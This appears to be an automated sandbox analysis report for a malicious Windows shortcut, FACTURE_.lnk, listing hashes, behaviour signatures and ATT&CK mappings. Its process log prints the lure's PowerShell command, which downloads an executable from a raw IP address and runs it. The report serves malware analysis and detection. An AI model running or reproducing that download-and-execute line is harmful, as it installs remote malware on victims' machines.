575e4be09039061ce25c80c7a2c922955e2b8a2b18aa62924985a81b024a63ad

Analysis

max time kernel
21s
max time network
46s
platform
windows7_x64
resource
win7-20220718-en
resource tags

arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
submitted
19-07-2022 14:46

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General

Target

FACTURE_.lnk
Size

1012B
MD5

60cddf458ccce0249bc3654f282f7b2e
SHA1

19a6ab379f925509d7cc36524c716877f4a268a0
SHA256

b0cf721309f7ea1684e2593a3e3c98f080146274432f39c9e2d2982ba1c9da95
SHA512

cd86c8e423ad3eaad92e67241896976c5e02ecea5d0c2dafef08e17eb6786fae0682d5bd0e59897b06faf06a3cef4a3883c03331c450574ae753bba6477bda91

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1476 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1476 powershell.exe

pid	process
1476	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1476	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1732 wrote to memory of 1476	1732	cmd.exe	powershell.exe
PID 1732 wrote to memory of 1476	1732	cmd.exe	powershell.exe
PID 1732 wrote to memory of 1476	1732	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\FACTURE_.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest -Uri 'http://52.149.215.0/svchost.exe' -OutFile $env:temp\file.exe; set a=ec; start $env:temp\file.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1476-88-0x0000000000000000-mapping.dmp

Download
memory/1476-93-0x000007FEF37D0000-0x000007FEF41F3000-memory.dmp

Filesize
10.1MB

Download
memory/1476-94-0x000007FEF2C70000-0x000007FEF37CD000-memory.dmp

Filesize
11.4MB

Download
memory/1476-96-0x000000000207B000-0x000000000209A000-memory.dmp

Filesize
124KB

Download
memory/1476-95-0x0000000002074000-0x0000000002077000-memory.dmp

Filesize
12KB

Download
memory/1732-54-0x000007FEFBB81000-0x000007FEFBB83000-memory.dmp

Filesize
8KB

Download